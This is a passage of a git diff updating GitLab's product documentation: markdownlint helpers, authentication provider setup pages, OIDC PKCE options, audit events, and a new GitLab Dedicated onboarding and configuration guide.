diff options
Diffstat (limited to 'doc')
838 files changed, 20171 insertions, 8615 deletions
diff --git a/doc/.markdownlint/require_helper.js b/doc/.markdownlint/require_helper.js deleted file mode 100644 index 7d06cf67419..00000000000 --- a/doc/.markdownlint/require_helper.js +++ /dev/null @@ -1,14 +0,0 @@ -/** - * Look up the global node modules directory. - * - * Because we install markdownlint packages globally - * in the Docker image where this runs, we need to - * provide the path to the global install location - * when referencing global functions from our own node - * modules. - * - * Image: - * https://gitlab.com/gitlab-org/gitlab-docs/-/blob/main/dockerfiles/gitlab-docs-lint-markdown.Dockerfile - */ -const { execSync } = require('child_process'); -module.exports.globalPath = execSync('yarn global dir').toString().trim() + '/node_modules/'; diff --git a/doc/.markdownlint/rules/tabs_blank_lines.js b/doc/.markdownlint/rules/tabs_blank_lines.js index e0e2c1a0a9b..8a9e9c2434e 100644 --- a/doc/.markdownlint/rules/tabs_blank_lines.js +++ b/doc/.markdownlint/rules/tabs_blank_lines.js @@ -1,9 +1,4 @@ -const { globalPath } = require('../require_helper'); -const { - forEachLine, - getLineMetadata, - isBlankLine, -} = require(`${globalPath}/markdownlint-rule-helpers`); +const { forEachLine, getLineMetadata, isBlankLine } = require(`markdownlint-rule-helpers`); module.exports = { names: ['tabs-blank-lines'], diff --git a/doc/.markdownlint/rules/tabs_title_markup.js b/doc/.markdownlint/rules/tabs_title_markup.js index 9c1de1e630d..0461ac8385f 100644 --- a/doc/.markdownlint/rules/tabs_title_markup.js +++ b/doc/.markdownlint/rules/tabs_title_markup.js @@ -1,5 +1,4 @@ -const { globalPath } = require('../require_helper'); -const { forEachLine, getLineMetadata } = require(`${globalPath}/markdownlint-rule-helpers`); +const { forEachLine, getLineMetadata } = require(`markdownlint-rule-helpers`); module.exports = { names: ['tabs-title-markup'], diff --git a/doc/.markdownlint/rules/tabs_title_text.js b/doc/.markdownlint/rules/tabs_title_text.js index 672aa70f562..beb329231b1 100644 --- a/doc/.markdownlint/rules/tabs_title_text.js +++ b/doc/.markdownlint/rules/tabs_title_text.js @@ -1,9 +1,4 @@ -const { globalPath } = require('../require_helper'); -const { - forEachLine, - getLineMetadata, - isBlankLine, -} = require(`${globalPath}/markdownlint-rule-helpers`); +const { forEachLine, getLineMetadata, isBlankLine } = require(`markdownlint-rule-helpers`); module.exports = { names: ['tabs-title-text'], diff --git a/doc/.vale/gitlab/spelling-exceptions.txt b/doc/.vale/gitlab/spelling-exceptions.txt index 5403b80141e..a2a23c03aa3 100644 --- a/doc/.vale/gitlab/spelling-exceptions.txt +++ b/doc/.vale/gitlab/spelling-exceptions.txt @@ -48,7 +48,6 @@ auditability auditable Auth0 authenticator -Authentiq Authy autocomplete autocompleted @@ -65,6 +64,7 @@ autoscaler autoscalers autoscales autoscaling +autovacuum awardable awardables Axios @@ -159,7 +159,7 @@ Citrix Citus Civo Cleartext -Clickhouse +ClickHouse CLIs Clojars clonable @@ -632,6 +632,7 @@ Opstrace ORMs OS OSs +OTel outdent Overcommit Packagist @@ -785,6 +786,7 @@ requeued requeues requeuing resolver +resolver's Restlet resync resynced @@ -832,6 +834,7 @@ SBOMs sbt SBT scalers +scalar's scatterplot scatterplots schedulable @@ -1094,6 +1097,7 @@ unrevoke unsanitized unschedule unscoped +unsetting unshare unshared unshares @@ -1181,3 +1185,4 @@ ZenTao zsh Zstandard Zuora +Zoekt diff --git a/doc/administration/audit_events.md b/doc/administration/audit_events.md index 30e6ca44972..c51b5fbb431 100644 --- a/doc/administration/audit_events.md +++ b/doc/administration/audit_events.md @@ -214,6 +214,8 @@ The following actions on groups generate group audit events: [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/366350) in GitLab 15.3. - Group had a security policy project linked, changed, or unlinked. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/377877) in GitLab 15.6. +- An environment is protected or unprotected. + [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/216164) in GitLab 15.8. ### Project events @@ -309,6 +311,8 @@ The following actions on projects generate project audit events: [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/85689) in GitLab 15.0. - Project had a security policy project linked, changed, or unlinked. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/377877) in GitLab 15.6. +- An environment is protected or unprotected. + [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/216164) in GitLab 15.8. ### Instance events **(PREMIUM SELF)** @@ -354,11 +358,12 @@ Issue [343933](https://gitlab.com/gitlab-org/gitlab/-/issues/343933) proposes to ## Unsupported events -Some events are not tracked in audit events. The following epics propose support for more events: +Some events are not tracked in audit events. The following epics and issues propose support for more events: - [Project settings and activity](https://gitlab.com/groups/gitlab-org/-/epics/474). - [Group settings and activity](https://gitlab.com/groups/gitlab-org/-/epics/475). - [Instance-level settings and activity](https://gitlab.com/groups/gitlab-org/-/epics/476). +- [Deployment Approval activity](https://gitlab.com/gitlab-org/gitlab/-/issues/354782). If you don't see the event you want in any of the epics, you can either: diff --git a/doc/administration/auth/atlassian.md b/doc/administration/auth/atlassian.md index b02ac06b67f..58412078802 100644 --- a/doc/administration/auth/atlassian.md +++ b/doc/administration/auth/atlassian.md @@ -41,7 +41,10 @@ To enable the Atlassian OmniAuth provider for passwordless authentication you mu sudo -u git -H editor /home/git/gitlab/config/gitlab.yml ``` -1. See [Configure initial settings](../../integration/omniauth.md#configure-initial-settings) for initial settings to enable single sign-on and add `atlassian_oauth2` as an OAuth provider. +1. Edit the [common configuration file settings](../../integration/omniauth.md#configure-common-settings) + to add `atlassian_oauth2` as a single sign-on provider. This enables + Just-In-Time account provisioning for users who do not have an existing + GitLab account. 1. Add the provider configuration for Atlassian: For Omnibus GitLab installations: diff --git a/doc/administration/auth/authentiq.md b/doc/administration/auth/authentiq.md index d51601439f9..a32d2a2cf94 100644 --- a/doc/administration/auth/authentiq.md +++ b/doc/administration/auth/authentiq.md @@ -1,100 +1,12 @@ --- -type: reference stage: Manage group: Authentication and Authorization info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +remove_date: '2023-02-22' +redirect_to: '../../integration/omniauth.md' --- -# Authentiq OmniAuth Provider **(FREE SELF)** +# Authentiq OmniAuth Provider (removed) **(FREE SELF)** -To enable the Authentiq OmniAuth provider for passwordless authentication, you must register an application with Authentiq. - -Authentiq generates a Client ID and the accompanying Client Secret for you to use. - -1. Get your Client credentials (Client ID and Client Secret) at [Authentiq](https://www.authentiq.com/developers). - -1. On your GitLab server, open the configuration file: - - For omnibus installation - - ```shell - sudo editor /etc/gitlab/gitlab.rb - ``` - - For installations from source: - - ```shell - sudo -u git -H editor /home/git/gitlab/config/gitlab.yml - ``` - -1. See [Configure initial settings](../../integration/omniauth.md#configure-initial-settings) for initial settings to enable single sign-on and add Authentiq as an OAuth provider. - -1. Add the provider configuration for Authentiq: - - For Omnibus packages: - - ```ruby - gitlab_rails['omniauth_providers'] = [ - { - name: "authentiq", - # label: "Provider name", # optional label for login button, defaults to "Authentiq" - app_id: "<your_client_id>", - app_secret: "<your_client_secret>", - args: { - "scope": 'aq:name email~rs address aq:push' - } - } - ] - ``` - - For installations from source: - - ```yaml - - { name: 'authentiq', - # label: 'Provider name', # optional label for login button, defaults to "Authentiq" - app_id: '<your_client_id>', - app_secret: '<your_client_secret>', - args: { - scope: 'aq:name email~rs address aq:push' - } - } - ``` - -1. The `scope` is set to request the: - - User's name. - - Required and signed email. - - Permission to send push notifications to sign in on subsequent visits. - - See [OmniAuth Authentiq strategy](https://github.com/AuthentiqID/omniauth-authentiq/wiki/Scopes,-callback-url-configuration-and-responses) for more information on scopes and modifiers. - -1. Change `<your_client_id>` and `<your_client_secret>` to the Client credentials you received from Authentiq. - -1. Save the configuration file. - -1. For the changes to take effect: - - [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) if you installed GitLab using Omnibus. - - [Restart GitLab](../restart_gitlab.md#installations-from-source) if you installed GitLab from source. - -On the sign in page there should now be an Authentiq icon below the regular sign in form. Select the -icon to begin the authentication process. If the user: - -- Has the Authentiq ID app installed in their iOS or Android device, they can: - 1. Scan the QR code. - 1. Decide what personal details to share. - 1. Sign in to your GitLab installation. -- Does not have the app installed, they are prompted to download the app and then follow the - previous procedure. - -If everything works, the user is returned to GitLab and is signed in. - -<!-- ## Troubleshooting - -Include any troubleshooting steps that you can foresee. If you know beforehand what issues -one might have when setting this up, or when something is changed, or on upgrading, it's -important to describe those, too. Think of things that may go wrong and include them here. -This is important to minimize requests for support, and to avoid doc comments with -questions that you know someone might ask. - -Each scenario can be a third-level heading, for example `### Getting error message X`. -If you have none to add when creating a doc, leave this section in place -but commented out to help encourage others to add to it in the future. --> +This feature was [removed](https://gitlab.com/gitlab-org/gitlab/-/issues/389452) in 15.9. +Use another [OmniAuth provider](../../integration/omniauth.md) instead. diff --git a/doc/administration/auth/cognito.md b/doc/administration/auth/cognito.md index bb06d5d1a58..a73595c731b 100644 --- a/doc/administration/auth/cognito.md +++ b/doc/administration/auth/cognito.md @@ -17,7 +17,7 @@ To enable AWS Cognito as an authentication provider, complete the following step 1. Sign in to the [AWS console](https://console.aws.amazon.com/console/home). 1. From the **Services** menu, select **Cognito**. -1. Select **Manage User Pools** and then select **Create a user pool** in the top right corner. +1. Select **Manage User Pools** and then in the upper-right corner, select **Create a user pool**. 1. Enter the user pool name and then select **Step through settings**. 1. Under **How do you want your end users to sign in?**, select **Email address or phone number** and **Allow email addresses**. 1. Under **Which standard attributes do you want to require?**, select **email**. @@ -33,7 +33,7 @@ To enable AWS Cognito as an authentication provider, complete the following step - **Enabled Identity Providers** - select all - **Callback URL** - `https://<your_gitlab_instance_url>/users/auth/cognito/callback` - **Allowed OAuth Flows** - Authorization code grant - - **Allowed OAuth2 Scopes** - `email`, `openid`, and `profile` + - **Allowed OAuth 2.0 Scopes** - `email`, `openid`, and `profile` 1. Save changes for the app client settings. 1. Under **Domain name**, include the AWS domain name for your AWS Cognito application. @@ -41,7 +41,9 @@ To enable AWS Cognito as an authentication provider, complete the following step ## Configure GitLab -1. See [Configure initial settings](../../integration/omniauth.md#configure-initial-settings) for initial settings. +1. Edit the [common configuration file settings](../../integration/omniauth.md#configure-common-settings) + to add `cognito` as a single sign-on provider. This enables Just-In-Time + account provisioning for users who do not have an existing GitLab account. 1. On your GitLab server, open the configuration file. **For Omnibus installations** @@ -95,4 +97,4 @@ Select this option to begin the authentication process. AWS Cognito then asks you to sign in and authorize the GitLab application. If the authorization is successful, you're redirected and signed in to your GitLab instance. -For more information, see [Configure initial settings](../../integration/omniauth.md#configure-initial-settings). +For more information, see [Configure common settings](../../integration/omniauth.md#configure-common-settings). diff --git a/doc/administration/auth/crowd.md b/doc/administration/auth/crowd.md index 4395309e91e..277e59b1a8a 100644 --- a/doc/administration/auth/crowd.md +++ b/doc/administration/auth/crowd.md @@ -40,8 +40,9 @@ this provider also allows Crowd authentication for Git-over-https requests. sudo -u git -H editor config/gitlab.yml ``` -1. See [Configure initial settings](../../integration/omniauth.md#configure-initial-settings) - for initial settings. +1. Edit the [common configuration file settings](../../integration/omniauth.md#configure-common-settings) + to add `crowd` as a single sign-on provider. This enables Just-In-Time + account provisioning for users who do not have an existing GitLab account. 1. Add the provider configuration: diff --git a/doc/administration/auth/index.md b/doc/administration/auth/index.md index 307d9a4518d..2b978dd1f2c 100644 --- a/doc/administration/auth/index.md +++ b/doc/administration/auth/index.md @@ -27,10 +27,10 @@ For more information, see the links shown on this page for each external provide | Capability | SaaS | Self-managed | |-------------------------------------------------|-----------------------------------------|------------------------------------| -| **User Provisioning** | SCIM<br>SAML <sup>1</sup> | LDAP <sup>1</sup><br>SAML <sup>1</sup><br>[OmniAuth Providers](../../integration/omniauth.md#supported-providers) <sup>1</sup> | +| **User Provisioning** | SCIM<br>SAML <sup>1</sup> | LDAP <sup>1</sup><br>SAML <sup>1</sup><br>[OmniAuth Providers](../../integration/omniauth.md#supported-providers) <sup>1</sup><br>SCIM | | **User Detail Updating** (not group management) | Not Available | LDAP Sync | -| **Authentication** | SAML at top-level group (1 provider) | LDAP (multiple providers)<br>Generic OAuth2<br>SAML (only 1 permitted per unique provider)<br>Kerberos<br>JWT<br>Smartcard<br>[OmniAuth Providers](../../integration/omniauth.md#supported-providers) (only 1 permitted per unique provider) | +| **Authentication** | SAML at top-level group (1 provider) | LDAP (multiple providers)<br>Generic OAuth 2.0<br>SAML (only 1 permitted per unique provider)<br>Kerberos<br>JWT<br>Smartcard<br>[OmniAuth Providers](../../integration/omniauth.md#supported-providers) (only 1 permitted per unique provider) | | **Provider-to-GitLab Role Sync** | SAML Group Sync | LDAP Group Sync<br>SAML Group Sync ([GitLab 15.1](https://gitlab.com/gitlab-org/gitlab/-/issues/285150) and later) | -| **User Removal** | SCIM (remove user from top-level group) | LDAP (remove user from groups and block from the instance) | +| **User Removal** | SCIM (remove user from top-level group) | LDAP (remove user from groups and block from the instance)<br>SCIM | 1. Using Just-In-Time (JIT) provisioning, user accounts are created when the user first signs in. diff --git a/doc/administration/auth/jwt.md b/doc/administration/auth/jwt.md index c1e76d1c2ed..8c9800aa792 100644 --- a/doc/administration/auth/jwt.md +++ b/doc/administration/auth/jwt.md @@ -25,7 +25,9 @@ JWT provides you with a secret key for you to use. sudo -u git -H editor config/gitlab.yml ``` -1. See [Configure initial settings](../../integration/omniauth.md#configure-initial-settings) for initial settings. +1. Edit the [common configuration file settings](../../integration/omniauth.md#configure-common-settings) + to add `jwt` as a single sign-on provider. This enables Just-In-Time + account provisioning for users who do not have an existing GitLab account. 1. Add the provider configuration. For Omnibus GitLab: diff --git a/doc/administration/auth/ldap/index.md b/doc/administration/auth/ldap/index.md index 43d13b8ea32..0c7bd33c2c1 100644 --- a/doc/administration/auth/ldap/index.md +++ b/doc/administration/auth/ldap/index.md @@ -13,12 +13,13 @@ to support user authentication. This integration works with most LDAP-compliant directory servers, including: - Microsoft Active Directory. - [Microsoft Active Directory Trusts](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc771568(v=ws.10)) - are not supported. - Apple Open Directory. - Open LDAP. - 389 Server. +NOTE: +GitLab does not support [Microsoft Active Directory Trusts](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc771568(v=ws.10)). + Users added through LDAP: - Usually use a [licensed seat](../../../subscriptions/self_managed/index.md#billable-users). diff --git a/doc/administration/auth/ldap/ldap-troubleshooting.md b/doc/administration/auth/ldap/ldap-troubleshooting.md index 95064b296af..7e21d3c6655 100644 --- a/doc/administration/auth/ldap/ldap-troubleshooting.md +++ b/doc/administration/auth/ldap/ldap-troubleshooting.md @@ -170,13 +170,12 @@ We have a workaround, based on toggling the access level of affected users: 1. As an administrator, on the top bar, select **Main menu > Admin**. 1. On the left sidebar, select **Overview > Users**. 1. Select the name of the affected user. -1. In the user's administrative page, press **Edit** on the top right of the page. -1. Change the user's access level from `Regular` to `Admin` (or vice versa), - and press **Save changes** at the bottom of the page. -1. Press **Edit** on the top right of the user's profile page - again. -1. Restore the user's original access level (`Regular` or `Admin`) - and press **Save changes** again. +1. In the upper right, select **Edit**. +1. Change the user's access level from `Regular` to `Administrator` (or vice versa). +1. At the bottom of the page, select **Save changes**. +1. In the upper right, select **Edit** again. +1. Restore the user's original access level (`Regular` or `Administrator`) + and select **Save changes** again. The user should now be able to sign in. diff --git a/doc/administration/auth/oidc.md b/doc/administration/auth/oidc.md index 1f73d8bff38..ea6922629d8 100644 --- a/doc/administration/auth/oidc.md +++ b/doc/administration/auth/oidc.md @@ -29,7 +29,9 @@ The OpenID Connect provides you with a client's details and secret for you to us sudo -u git -H editor config/gitlab.yml ``` -1. [Configure initial settings](../../integration/omniauth.md#configure-initial-settings). +1. Edit the [common configuration file settings](../../integration/omniauth.md#configure-common-settings) + to add `openid_connect` as a single sign-on provider. This enables Just-In-Time + account provisioning for users who do not have an existing GitLab account. 1. Add the provider configuration. @@ -50,6 +52,7 @@ The OpenID Connect provides you with a client's details and secret for you to us client_auth_method: "query", uid_field: "<uid_field>", send_scope_to_token_endpoint: "false", + pkce: true, client_options: { identifier: "<your_oidc_client_id>", secret: "<your_oidc_client_secret>", @@ -75,6 +78,7 @@ The OpenID Connect provides you with a client's details and secret for you to us client_auth_method: 'query', uid_field: '<uid_field>', send_scope_to_token_endpoint: false, + pkce: true, client_options: { identifier: '<your_oidc_client_id>', secret: '<your_oidc_client_secret>', @@ -118,9 +122,10 @@ The OpenID Connect provides you with a client's details and secret for you to us If you do not provide this value, or the field with the configured value is missing from the `user_info.raw_attributes` details, `uid` uses the `sub` field. - `send_scope_to_token_endpoint` is `true` by default, so the `scope` parameter - is normally included in requests to the token endpoint. + is usually included in requests to the token endpoint. However, if your OpenID Connect provider does not accept the `scope` parameter in such requests, set this to `false`. + - `pkce` (optional): Enable [Proof Key for Code Exchange](https://www.rfc-editor.org/rfc/rfc766). Available in [GitLab 15.9](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/109557). - `client_options` are the OpenID Connect client-specific options. Specifically: - `identifier` is the client identifier as configured in the OpenID Connect service provider. - `secret` is the client secret as configured in the OpenID Connect service provider. For example, @@ -170,6 +175,7 @@ gitlab_rails['omniauth_providers'] = [ client_auth_method: "query", discovery: true, uid_field: "preferred_username", + pkce: true, client_options: { identifier: "<YOUR PROJECT CLIENT ID>", secret: "<YOUR PROJECT CLIENT SECRET>", @@ -207,6 +213,7 @@ gitlab_rails['omniauth_providers'] = [ client_auth_method: "query", discovery: true, uid_field: "preferred_username", + pkce: true, client_options: { identifier: "<YOUR APP CLIENT ID>", secret: "<YOUR APP CLIENT SECRET>", @@ -254,7 +261,7 @@ Azure B2C [offers two ways of defining the business logic for logging in a user] Custom policies are required because standard Azure B2C user flows [do not send the OpenID `email` claim](https://github.com/MicrosoftDocs/azure-docs/issues/16566). Therefore, the standard user flows do not work with the -[`allow_single_sign_on` or `auto_link_user` parameters](../../integration/omniauth.md#configure-initial-settings). +[`allow_single_sign_on` or `auto_link_user` parameters](../../integration/omniauth.md#configure-common-settings). With a standard Azure B2C policy, GitLab cannot create a new account or link to an existing account with an email address. @@ -339,6 +346,7 @@ but `LocalAccounts` authenticates against local Active Directory accounts. Befor client_auth_method: "query", discovery: true, send_scope_to_token_endpoint: true, + pkce: true, client_options: { identifier: "<YOUR APP CLIENT ID>", secret: "<YOUR APP CLIENT SECRET>", @@ -356,7 +364,7 @@ but `LocalAccounts` authenticates against local Active Directory accounts. Befor Ensure the payload includes `email` that matches the user's email access. - After you enable the custom policy, users might see `Invalid username or password` after they try to sign in. This might be a configuration issue with the `IdentityExperienceFramework` - app. See [this Microsoft comment](https://learn.microsoft.com/en-us/answers/questions/50355/unable-to-sign-on-using-custom-policy.html?childToView=122370#comment-122370) that suggests you check that the app manifest + app. See [this Microsoft comment](https://learn.microsoft.com/en-us/answers/questions/50355/unable-to-sign-on-using-custom-policy?childtoview=122370#comment-122370) that suggests you check that the app manifest contains these settings: - `"accessTokenAcceptedVersion": null` @@ -393,10 +401,11 @@ gitlab_rails['omniauth_providers'] = [ name: "openid_connect", scope: ["openid", "profile", "email"], response_type: "code", - issuer: "https://keycloak.example.com/auth/realms/myrealm", + issuer: "https://keycloak.example.com/realms/myrealm", client_auth_method: "query", discovery: true, uid_field: "preferred_username", + pkce: true, client_options: { identifier: "<YOUR CLIENT ID>", secret: "<YOUR CLIENT SECRET>", @@ -477,6 +486,7 @@ To use symmetric key encryption: discovery: true, uid_field: "preferred_username", jwt_secret_base64: "<YOUR BASE64-ENCODED SECRET>", + pkce: true, client_options: { identifier: "<YOUR CLIENT ID>", secret: "<YOUR CLIENT SECRET>", diff --git a/doc/administration/clusters/kas.md b/doc/administration/clusters/kas.md index 9f0f7e836f7..a7f8f8e712b 100644 --- a/doc/administration/clusters/kas.md +++ b/doc/administration/clusters/kas.md @@ -62,7 +62,7 @@ To enable the agent server on multiple nodes: gitlab_rails['gitlab_kas_enabled'] = true gitlab_rails['gitlab_kas_external_url'] = 'wss://gitlab.example.com/-/kubernetes-agent/' gitlab_rails['gitlab_kas_internal_url'] = 'grpc://kas.internal.gitlab.example.com' - gitlab_rails['gitlab_kas_external_k8s_proxy_url'] = 'https://gitlab.example.com/-/kubernetes-agent/' + gitlab_rails['gitlab_kas_external_k8s_proxy_url'] = 'https://gitlab.example.com/-/kubernetes-agent/k8s-proxy/' ``` In this configuration: diff --git a/doc/administration/compliance.md b/doc/administration/compliance.md index ee7476ed6d4..592c110b446 100644 --- a/doc/administration/compliance.md +++ b/doc/administration/compliance.md @@ -50,7 +50,7 @@ compliance: - [**Compliance frameworks**](../user/group/compliance_frameworks.md) (for groups): Create a custom compliance framework at the group level to describe the type of compliance requirements any child project needs to follow. -- [**Compliance pipelines**](../user/group/compliance_frameworks.md#configure-a-compliance-pipeline) (for groups): Define a +- [**Compliance pipelines**](../user/group/compliance_frameworks.md#compliance-pipelines) (for groups): Define a pipeline configuration to run for any projects with a given compliance framework. ## Audit management diff --git a/doc/administration/dedicated/index.md b/doc/administration/dedicated/index.md new file mode 100644 index 00000000000..22b8cc13637 --- /dev/null +++ b/doc/administration/dedicated/index.md @@ -0,0 +1,140 @@ +--- +stage: SaaS Platforms +group: GitLab Dedicated +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments" +description: 'Learn how to configure your GitLab Dedicated instance.' +--- + +# Configure GitLab Dedicated **(ULTIMATE)** + +GitLab Dedicated is a single-tenant SaaS solution, fully managed and hosted by GitLab. For more information about this offering, see the [subscription page](../../subscriptions/gitlab_dedicated/index.md). + +The instructions on this page guide you through: + +1. Onboarding and initial setup of your GitLab Dedicated instance. +1. Configuring your GitLab Dedicated instance including enabling and updating the settings for [available functionality](../../subscriptions/gitlab_dedicated/index.md#available-features). + +Any functionality in the GitLab application that is not controlled by the SaaS environment can be configured by using the [Admin Panel](../../user/admin_area/index.md). + +## Onboarding + +To request the creation of a new GitLab Dedicated environment for your organization, you must provide the following information to your account team: + +- Expected number of users. +- Desired primary region: Primary AWS region in which your data is stored (do note the [list of unsupported regions](../../subscriptions/gitlab_dedicated/index.md#aws-regions-not-supported)). +- Desired secondary region: Secondary AWS region in which your data is stored. This region is used to recover your GitLab Dedicated instance in case of a disaster. +- Desired backup region: An AWS region where the primary backups of your data are replicated. This can be the same as the primary or secondary region or different. +- Desired instance subdomain: The main domain for GitLab Dedicated instances is `gitlab-dedicated.com`. You get to choose the subdomain name where your instance is accessible from (for example, `customer_name.gitlab-dedicated.com`). +- Initial storage: Initial storage size for your repositories in GB. +- Availability Zone IDs for PrivateLink: If you plan to later add a PrivateLink connection (either [inbound](#inbound-private-link) or [outbound](#outbound-private-link)) to your environment, and you require the connections to be available in specific Availability Zones, you must provide up to two [Availability Zone IDs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html#az-ids) during onboarding. If not specified, GitLab will select two random Availability Zone IDs in which the connections will be available. + +### Maintenance window + +When onboarding, you must also specify your preference for the weekly four-hour timeslot that GitLab uses to perform maintenance and upgrade operations on the tenant instance. + +- APAC (outside working hours): Wednesday 1pm-5pm UTC +- EU (outside working hours): Tuesday 1am-5am UTC +- AMER (outside working hours): Tuesday 7am-11am UTC + +NOTE: +Some downtime may be incurred during this window. This downtime is not counting towards [the system SLA](https://about.gitlab.com/handbook/engineering/infrastructure/team/gitlab-dedicated/slas/). + +## Configuration changes + +To change or update the configuration for your GitLab Dedicated instance, open a [support ticket](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=4414917877650) with your request. You can request configuration changes for the options originally specified during onboarding, or for any of the optional features below. + +The turnaround time for processing configuration change requests is [documented in the GitLab handbook](https://about.gitlab.com/handbook/engineering/infrastructure/team/gitlab-dedicated/#handling-configuration-changes-for-tenant-environments). + +### Inbound Private Link + +[AWS Private Link](https://docs.aws.amazon.com/vpc/latest/privatelink/what-is-privatelink.html) allows users and applications in your VPC on AWS to securely connect to the GitLab Dedicated endpoint without network traffic going over the public internet. + +To enable the Inbound Private Link: + +1. In the body of your [support ticket](#configuration-changes), include the IAM Principal for the AWS user or role in your own AWS Organization that will be establishing the VPC endpoint within your AWS account. GitLab Dedicated uses this IAM Principal for access-control. This IAM principal will be the only one able to set up an endpoint to the service. +1. After your IAM Principal has been allowlisted, GitLab [creates the Endpoint Service](https://docs.aws.amazon.com/vpc/latest/privatelink/create-endpoint-service.html) and communicates the `Service Endpoint Name` on the support ticket. The service name is generated by AWS upon creation of the service endpoint. + - GitLab handles the domain verification for the Private DNS name, so that DNS resolution of the tenant instance domain name in your VPC resolves to the PrivateLink endpoint. + - GitLab makes the Endpoint Service available in the Availability Zones you specified during the initial onboarding. If you did not specify any Availability Zones, GitLab randomly selects the Availability Zones IDs. +1. In your own AWS account, create an [Endpoint Interface](https://docs.aws.amazon.com/vpc/latest/privatelink/create-interface-endpoint.html) in your VPC, with the following settings: + - Service Endpoint Name: use the name provided by GitLab on the support ticket. + - Private DNS names enabled: yes. + - Subnets: choose all matching subnets. + +1. After you create the endpoint, use the instance URL provided to you during onboarding to securely connect to your GitLab Dedicated instance from your VPC, without the traffic going over the public internet. + +### Outbound Private Link + +Outbound Private Links allow the GitLab Dedicated instance to securely communicate with services running in your VPC on AWS. This type of connection can execute [webhooks](../../user/project/integrations/webhooks.md) where the targeted services are running in your VPC, import or mirror projects and repositories, or use any other GitLab functionality to access private services. + +To enable an Outbound Private Link: + +1. In your [support ticket](#configuration-changes), GitLab provides you with an IAM role ARN that connects to your endpoint service. You can then add this ARN to the allowlist on your side to restrict connections to your endpoint service. +1. [Create the Endpoint service](https://docs.aws.amazon.com/vpc/latest/privatelink/create-endpoint-service.html) through which your internal service will be made available to GitLab Dedicated. Provide the associated `Service Endpoint Name` on the [support ticket](#configuration-changes). +1. When creating the Endpoint service, you must provide GitLab with a [verified Private DNS Name](https://docs.aws.amazon.com/vpc/latest/privatelink/manage-dns-names.html#verify-domain-ownership) for your service. Optionally, if you would like GitLab Dedicated to reach your service via other aliases, you have the ability to specify a list of Private Hosted Zone (PHZ) entries. With this option, GitLab sets up a Private Hosted Zone with DNS names aliased to the verified Private DNS name. To enable this functionality, you must provide GitLab a list of PHZ entries on your support ticket. After the PHZ has been created in the tenant environment, DNS resolution of any of the provided records will correctly resolve to the PrivateLink endpoint. +1. GitLab then configures the tenant instance to create the necessary Endpoint Interfaces based on the service names you provided. Any outbound calls made from the tenant GitLab instance are directed through the PrivateLink into your VPC. + +#### Custom certificates + +In some cases, the GitLab Dedicated instance can't reach an internal service you own because it exposes a certificate that can't be validated using a public Certification Authority (CA). In these cases, custom certificates are required. + +To request that GitLab add custom certificates when communicating with your services over PrivateLink, attach the custom public certificate files to your [support ticket](#configuration-changes). + +#### Maximum number of reverse PrivateLink connections + +GitLab Dedicated limits the number of reverse PrivateLink connections to 10. + +### IP allowlist + +GitLab Dedicated allows you to control which IP addresses can access your instance through an IP allowlist. + +Specify a comma separated list of IP addresses that can access your GitLab Dedicated instance in your [support ticket](#configuration-changes). After the configuration has been applied, when an IP not on the allowlist tries to access your instance, the connection is refused. + +### SAML + +Prerequisites: + +- You must configure the identity provider before sending the required data to GitLab. + +To activate SAML for your GitLab Dedicated instance: + +1. Read the [GitLab documentation about SAML](../../integration/saml.md#https://docs.gitlab.com/ee/integration/saml.html#configure-saml-on-your-idp) to gather all data your identity provider requires for configuration. You can also find some providers and their requirements in the [group SAML documentation](../../user/group/saml_sso/index.md#providers). +1. To make the necessary changes, include in your [support ticket](#configuration-changes) the desired [SAML configuration block](../../integration/saml.md#configure-saml-support-in-gitlab) that will be set on the GitLab application. At a minimum, GitLab needs the following information to enable SAML for your instance: + - Assertion consumer service URL + - Certificate fingerprint or certificate + - NameID format + - SSO login button description + +1. After GitLab deploys the SAML configuration to your instance, you will be notified on your support ticket. +1. To verify the SAML configuration is successful: + - Check that the SSO login button description is displayed on your instance's login page. + - Go to the metadata URL of your instance (`https://INSTANCE-URL/users/auth/saml/metadata`). This page can be used to simplify much of the configuration of the identity provider, as well as manually validate the settings. + +#### Request signing + +If [SAML request signing](../../integration/saml.md#sign-saml-authentication-requests-optional) is desired, a certificate must be obtained. This certificate can be self-signed which has the advantage of not having to prove ownership of an arbitrary Common Name (CN) to a public Certificate Authority (CA)). + +To enable SAML request signing, indicate on your SAML [support ticket](#configuration-changes) that you would like request signing enabled. GitLab will then work with you on sending the Certificate Signing Request (CSR) for you to sign. Alternatively, the CSR can be signed with a public CA. After the certificate is signed, GitLab will add the certificate and its associated private key to the `security` section of the SAML configuration. Authentication requests from GitLab to your identity provider will then be signed. + +#### SAML groups + +With SAML groups you can configure GitLab users based on SAML group membership. + +To enable SAML groups, add the [required elements](../../integration/saml.md#configure-users-based-on-saml-group-membership) to the SAML configuration block you provide in your [support ticket](#configuration-changes). + +#### Group sync + +With [group sync](../../user/group/saml_sso/group_sync.md), you can sync users across identity provider groups to mapped groups in GitLab. + +To enable group sync: + +1. Add the [required elements](../../user/group/saml_sso/group_sync.md#configure-saml-group-sync) to the SAML configuration block you provide in your [support ticket](#configuration-changes). +1. Configure the [Group Links](../../user/group/saml_sso/group_sync.md#configure-saml-group-links). + +### Access to application logs + +GitLab [application logs](../../administration/logs/index.md) are delivered to an S3 bucket in the GitLab tenant account, which can be shared with you. + +To gain read only access to this bucket: + +1. Open a [support ticket](#configuration-changes) with the title "Customer Log Access". In the body of the ticket, include a list of IAM Principal ARNs (users or roles) that will be fetching the logs from S3. +1. GitLab will then inform you of the name of the S3 bucket. Your nominated users/roles will then be able to list and get all objects in the S3 bucket. diff --git a/doc/administration/docs_self_host.md 